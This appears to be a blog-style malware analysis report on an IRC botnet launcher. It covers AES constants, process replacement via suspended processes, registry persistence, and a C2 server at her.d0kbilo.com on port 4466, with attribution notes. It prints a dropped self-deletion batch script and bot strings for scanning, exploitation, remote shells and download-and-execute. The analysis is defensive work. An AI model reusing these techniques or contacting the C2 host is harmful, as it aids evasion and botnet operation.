Rijndael was the original name for the Advanced Encryption Standard (AES), and superseded DES. The block size for AES is 128 bits, while key lengths can be 128, 192 and 256 bits. It’s a symmetric-key system, so the same key is used for encryption and decryption. The output from KANAL refers to S-boxes (the [S] and [S-inv] in the screen capture above). Substitution boxes (S-boxes) are matrices used in AES. The first reference above (RIJNDAEL [S]) refers to the encryption side, while the second (RIJNDAEL [S-inv]) refers to the inverse S-box that would be used for decryption. This could mean that this sample both encrypts outgoing traffic as well as receives encrypted incoming traffic from C2. Another nice thing about the KANAL output is that it also shows where the references to these constants are, which will help later with disassembly/debugging.

Dynamic Analysis

After this I jumped into disassembly and debugging to try to get a general feel for this sample, and then took a step back and went through a more structured dynamic analysis with the usual tools (procmon, procexp, wireshark, and so on). When I first ran this sample, I observed the original instance of the sample (PID 3688) spawns a child process of itself (PID 760) shortly after execution, and then shortly after that the original instance (3688) terminates.

The first instance imports kernel32.dll and user32.dll, but the second instance imports these and several others including ws2_32.dll and advapi32.dll. The first time I ran this sample, I did it without an Internet connection and I did not notice any files dropping, however the second time I ran this sample I first obtained an Internet connection and this time I observed a call to WriteFile. This was actually a pretty obvious file that dropped – in the directory where the executable is located, a file called wcsqmpbh.bat dropped in the open, containing the following instructions:

@echo off
del /A:H /F [samplename].exe
del /F [samplename].exe
if exist [samplename].exe goto deleteagain
del wcsqmpbh.bat

Note that [samplename] refers to whatever file name you’ve given the sample. Strangely, this batch file was executed according to procmon, though the original executable and the batch file remain. Perhaps this is a file that the bot controller could remotely execute should the need arise to cover their tracks, but it’s unclear why these files didn’t actually get deleted following execution. The flags indicate that the batch file was trying to force deletion of both hidden and unhidden copies of the malware, regardless if the file was read-only at the time.

The obfuscation at work in this sample made disassembly and debugging difficult, however I was able to look in the strings in the images of the running samples in Process Explorer and saw many interesting strings. I’ll look at some of these in more detail.

One of the first things that stood out to me was a series of what appear to be IRC commands and a channel name (#balengor). These commands match what I observed in the packets captured in Wireshark and line up with how one would connect to and register on an IRC server, followed by strings that are used to build the commands to join the probable C2 channel, set the appropriate modes for the connected user, and so forth. You also see a reference to Eggdrop, an IRC bot and a version number for this software.

USER %s %s %s :%s
link!link@link PRIVMSG %s :%s
JOIN %s %s
MODE %s +xi
MODE %s +smntu
eggdrop v1.6.16
VERSION link v%d.%03d%s (Win32)

Here are a few examples of where you see some of these strings in the traffic:


Another string that stands out is a standard base64 index:

There’s an extensive section which contains strings mentioning bots as well as related to the various activities that the bot can carry out. I’ve made some of the more interesting ones bold below, but there are strings related to scanning for remote machines, exploitation of those machines, exploitation statistics, remote shell access, file transfer, references to protocols (tftp, ftp, http), parts of a dynamically created user agent, and status messages related to restarting the malware or terminating it.

:%s in
open IP(s) found
:%s is open
– Scanning
:%s for
:%s for
:%s for
second(s), t:%u s:%u
– Attempted
exploitation(s) on
Attempting to exploit
– Attempting to exploit IP’s in list.
Attempting to exploit IP’s in list.
Exploit statistics –
Listing exploit statistics
bot(s) found with string
No bots found with string
found string
in %s (
– Listing bots with string
%s bots with string
Cmd.exe process has terminated.
Could not read data from process.
Error while executing command.
Remote cmd thread
sec with
– Receiving
Content-Length: %u
GET /%s HTTP/1.0
Host: %s
– Unsupported protocol specified.
– Error while downloading
– Unable to start
– Successfully downloaded
, executing
, updating
– No file to download specified.
– Cannot read source file
– Cannot write to destination file
– Downloading
QUIT :restarting
QUIT :exitting [sic]

Near these commands are strings that relate to debugging issues with the malware, including one string that is constructed during crashes that contains information about the CPU state at the time of the crash (in this case you see that it saves the state of the registers), along with some error messages.

– Module “%s” reported a crash in “%s”: N=%u EAX=%08X EBX=%08X ECX=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLAGS=%08X. Code: %08X (%s). %s…

Many strings relate to system information, probably so that the controllers can inventory the systems in the botnet. The string USA is found in the beginning – perhaps this was generated dynamically since this sample was run on a machine located there. Other strings relate to CPU and memory information, uptime, networking information, firewall status, and storage information. One string seems to mention encryption along with the number 128 – perhaps this is a clue that the key is 128-bit, but I would like to find something in the disassembly that would back this up. Interestingly, you can also see that the bot seems to rate some of these aspects as Good, Avarage [sic] and Bad.

System information – OS: Windows
). CPU: %s
MHz. Ram:
MB free. IPv6:
. Uptime:
minute%s. Computername:
. User:
no SP
Sysinfo thread
Network information – Host:
. Name:
. Type:
. IPv6:
. Firewalled:
. Latency:
, %u. IRC Uptime:
Avarage [sic]
Netinfo thread
%sTotal drives:
, Total space:
MB free.
MB free
Drive information –
Driveinfo thread
– btg tried executing an unreadable address. (%08X)
– No threads running.
– Listing
QUIT :changing server
link v
%s [Win32]
Uptime – System:
minute%s. IRC:
Debug mode is %s.
Exe download server:
Exe download server:
f128enc+fab decrypted:
f128enc+fab encrypted: =

The network activity was pretty interesting to observe. As noted above, the malware connects via IRC to her.d0kbilo.com ( on port 4466. There was actually quite a bit of plaintext in the traffic:


The nick that was assigned to my various instances all seemed to follow the same format of “d[a-zA-Z{7}]b”, trying to put it into some sort of pseudo-regular expression. I was able to confirm this by connecting to the server and trying to interact with the bot account from a remote location. If one tries to connect to the IRC server from the same IP, you get the following result:


Upon connecting to the server (independently, not as a malware instance), an operator account sets your user mode to +iwG (which makes the nick invisible, enables wallops message receipt, G which filters out certain words). Joining the malware C2 channel shows that the mode for the channel is set to +smntu, which makes it a secret channel; moderated; external messages disallowed; and only operators are allowed to change the topic (the +u is unknown). Malware nicks receive user mode +xi which makes them hidden and invisible (meaning the username is hidden and makes this nick hidden from /WHO and /NAMES commands when executed from outside the channel).

Trying to obtain a list of channels from my regular IRC client was unsuccessful (which was unsurprising, since the channels are set to be secret) but strangely an online IRC client did show some channels:


If you know a specific nick, you can still contact that person even if they are set to invisible. You can see in the following packets when I was sending traffic to the malware’s IRC instance, which was also a way that I was able to confirm that the nicks are plaintext and not obfuscated (though, the nicks themselves likely follow some sort of coding standard to help identify the victims):

I sent a /QUERY to the malware nick (my nick was gurdaptl and I was connecting from Kiwi IRC):


I created a channel called #flot and invited the malware nick there (no luck):


Apart from this, the only other activity I observed was that the malware would have a PING/PONG exchange with a user “e.TK” about every 90 seconds or so. I recorded about 40 minutes of such traffic but did not observe anything else.

Getting back to some of the other malware behavior, one thing noticeably absent was any indication of persistence – while running as a regular user (i.e., not with administrator privileges). I tried various tools (Autoruns, RegShot, GMER, etc.) to check for changes to the system and for some sort of persistence mechanism, but found nothing. Following a reboot, the malware did not appear to be running. Since I wondered if there was something preventing me from seeing the sample (some sort of hooking, etc.) I captured packets for about five minutes but observed no traffic to the malicious server or really anything out of the ordinary. I can’t imagine that you’d have a useful botnet that didn’t achieve persistence, but perhaps this is again a quirk of either my VM environment (user permissions, etc.) or merely the fact that I am running in a VM.

I re-ran the sample as administrator, and got some very different results this time in terms of how it attempts to both hide itself and achieve persistence. As a side note, I’m going to take an analytical leap of faith and say that this sample doesn’t escalate privileges due to the much different behavior observed when run as an administrator vs. a regular user.

First, the file does succeed in deleting itself after execution, along with the batch file. What was really interesting was the the malware then proceeds to create and replace a number of new processes every 60 seconds or so. The number of processes varied between runs, but ranged from as few as 4 to as many as 16. This long series looked like this (process name and PID):

1. [sample].exe, 3052
2. [sample].exe, 2848
3. winamp.exe, 212
4. winamp.exe, 2616
5. algs.exe, 864
6. algs.exe, 1004
7. logon.exe, 2220
8. logon.exe, 872
9. winlogon.exe, 2980
10. winlogon.exe, 420
11. spoolsvc.exe, 2572
12. spoolsvc.exe, 2536
13. spoolsv.exe, 2556
14. spoolsv.exe, 2476
15. lssas.exe, 2168
16. lssas.exe, 2264

I noticed that the malware always seemed to follow this pattern of creating two processes of the same name during this procedure. The final process in the list is then added to the registry to be run at startup, for example:


No matter the final process that is set to run at startup, it always gets stored in this same place in the registry, at least in my test environment.

Upon restart, I observed the final two steps in the procedure above repeat (i.e., 15 and 16). That was all – there wasn’t another series of processes created as in the original run. Looking at the image confirmed that this was definitely the malware and not a legitimate process after reboot:


Network Activity

The only anomalous activity detected in Wireshark was traffic between (her.d0kbilo.com) on port 4466. Examination of the packets revealed some plain text which appeared to be IRC-related. In the strings recovered from the sample we see some of the same commands (e.g., USERHOST) as in the packets. The values passed to these commands, however, appears to be encrypted.

When I visited the C2 IRC server, it proclaimed that this was a modified version of the UnrealIRCd IRC server. What’s curious to me is that even though this software was modded by the malware author(s), the IRC commands seem to need to be passed in plain text.

Sitting in the C2 channel didn’t reveal anything. The mode set for you as an unregistered user prevents you from saying anything in the channel and the usernames for you and the other accounts in there are set to invisible. I found a document online apparently written by someone from uNkn0wn Crew and it refers to a couple of other channels, but nothing was going on in those either (though I did have voice enabled there, so I could talk in the channel but no one seemed to be listening or responding).


One thing I noticed pretty early in this is that this sample does at least two things that makes disassembly and debugging more difficult. One is that many function calls are indirect, so you sort of have to switch back and forth between the disassembler and the debugger to see what is really being called when you see something like call dword ptr [eax+0Ch]. Here’s a screenshot showing some of this along with where I’ve inserted some comments so I can better keep track of what’s actually called:


The other thing is that this sample creates and replaces multiple new processes which makes debugging to be a real pain. I’m going to call out a few specific areas where I found something that looked interesting in this sample.

Starting at the function at 40204F, there’s a series of calls to GetModuleHandleA and GetProcAddress to get handles and addresses of various functions that will be used later for the process replacement:


Looking at it in both IDA Pro and Olly, this series of functions gets handles and addresses of:


The sub at 40224C finds the code to be written in the process replacement:


Then there’s a block to create the suspended process for future replacement:


Looking at this, I didn’t see a call to CreateProcessA, but I saw one of the parameters pushed on to the stack was 0x4. When you want to create a process in a suspended state, you pass 0x4 as the CreationFlags parameter. To confirm this, I checked it out in a debugger and we can see this at work for the first process that the malware spawns (in this case, it creates a suspended process of itself) and you can see that CreationFlags is set to CREATE_SUSPENDED in the stack in the bottom right:


Further along, we see a block of code at 402394 that loops and writes the malware to memory, and then once fully written, the block beginning at 4023D7 resumes the thread to complete the replacement:


After that overall function returns, the malware calls an exit function at 403608:


This sample appears to use AES. As previously stated, KANAL found the constants, which you can see here in this shot from IDA Pro:


I have a very high level understanding of AES, so I sort of know what to look for, but I couldn’t get through too much of the code that appears to deal with this encryption. First, here are a few things about AES:

– Block sizes are always 128-bits
– Key sizes are always either 128-, 192-, or 256-bits
– Using AES comprises the following steps. Note that the number of rounds depends on the size of the key – 10 rounds for a 128-bit key, 12 rounds for a 192-bit key, and 14 rounds for a 256-bit key.

  1. Key Expansion (round keys derived from cipher key)
  2. Initial Round
    1. Add Round Key (each state byte combined with a block of the round key)
  3. Rounds
    1. Sub Bytes (where the S-box comes into play)
    2. Shift Rows (transposition)
    3. Mix Columns (combining of 4 bytes in each column)
    4. Add Round Key (see above)
  4. Final Round
    1. Sub Bytes (S-box, again)
    2. Shift Rows (see above)
    3. Add Round Key (see above)

For more detail, please see the link in the references.

There is a loop beginning at 40121D that could be the Mix Columns loop as it iterates in 4-byte blocks:


Sub 401079 is where we first see the S-box being used:


One interesting thing can be seen later, in a sub at 4016A5. Here we see a function that works with the S-Inv box (MaybeSINVSubBytes) and there’s a local variable that is set to 0xE (14) that is used to loop. One thing we know from earlier is that the number of rounds for a 256-bit key should be 14, so perhaps this is a clue that we’re looking at 256-bit AES:


This represents some things I thought were interesting about this initial run of the malware. In this first run, what appears to happen is that the malware starts and finds several functions that are necessary to do process replacement. Following this, the sample decrypts data beginning at 4061C4 and then replaces the suspended process with this. Here is this section before decryption:


Here is a view of this area in Olly after decryption (you can see the MZ (4D5A) “magic number”):


I took all of this and dumped it from Olly into its own file, and then took a look in PEview:



I’m not going to dive into this payload right now (will be a future analysis) however we can already see imports (DLLs like WS2_32, shell32, ADVAPI32) and plaintext strings:


I would have liked to have fully taken the crypto functions apart and recovered the key and the AES parameters in use, but I think that it’s good enough (at least for now) to have recovered the encrypted payload for further analysis.


There were some interesting things found pertaining to attribution with this sample. The malware connects to her.d0kbilo.com, which sits behind a domain privacy provider, so nothing much to see in the whois lookup. There were multiple indications of IRC traffic (the Wireshark activity, the #Balengor string in the sample, etc.) so I decided to try to connect to her.d0kbilo.com. The regular IRC port failed but connecting on port 4466 (like the sample) succeeded. Interestingly, I was able to connect as a regular, unregistered user although my activities on the server were constrained. One of the initial messages greeting me on the server was that the box belonged to “uNKn0wn Crew” who apparently could be found at www.uNkn0wn.eu. It also mentioned an email address – iD@uNkn0wn.eu.


One of the few commands that I was allowed to execute on this server showed me the local time on the server, which placed it in the UTC+2 timezone. It’s certainly possible that this server had a random time zone set, but if this timezone is actually indicative of geography, this would actually put this server potentially in many places, from West Africa, to continental Europe, to Southwest Asia. IP address location services place the server in France or Spain.


I’ve found a few mirrors of defaced websites from uNKn0wn Crew and the names I saw associated with those were bebo and warbody. This was from 2004, however. In the #Balengor channel, which I presume is used for C2, there is a topic set by “k” which appears to be a base64 encoded string. Modes are set by an “e.TK” on the server. At this point, the possible identities I’ve seen from this group are:

– iD
– e.TK
– k
– bebo
– warbody


I can’t say that I’ve heard of this group or these people, though I would point out that there used to be a flash cartoon on newgrounds.com about a cat named Beebo, so maybe this person was a fan of that series.


It’s been an interesting and somewhat frustrating exercise to go through this sample due to all of the anti-analysis features in place here. Recovery of the payload is great, and my next step here is to analyze this sample. Even without the analysis of the payload, we do know that this sample adds the host machine to a botnet and allows robust C2 functions to be run on the victim machine. We also discovered something about the group responsible for it.

There wasn’t a name associated with this sample when submitted to the online sandboxes. Referring to it by its MD5 hash is cumbersome, so I’m going to assign this a name. Since this is related to botnets and this is the first part of a multi-part sample, I’m going with single syllable B reporting names. I’m going to call this one BEAR.


Findings and observations:
This sample is essentially a launcher for an encrypted payload. This overall malware package establishes C2 via IRC and allows for a robust level of control on infected machines. This malware also indicates that it can be used for typical botnet operations (e.g., scanning for new victims, exploiting targets, etc.)

When this sample was run as a regular (unprivileged) user, it appeared unable to fully execute however it still did appear to establish C2. Keeping regular users in appropriate (non-admin) levels of access appears to impede this sample’s operations. Specifically, running as a regular user should prevent the sample from achieving persistence which would result in the sample being removed from the host upon reboot.

C2, for the time being, is located at her.d0kbilo.com (currently resolving to on port 4466. Restricting access to this domain, IP address and port would impede or eliminate the C2 function.

A skillfully executed bot client that uses multiple anti-analysis techniques to hamper the analyst.

Report: MalEXE001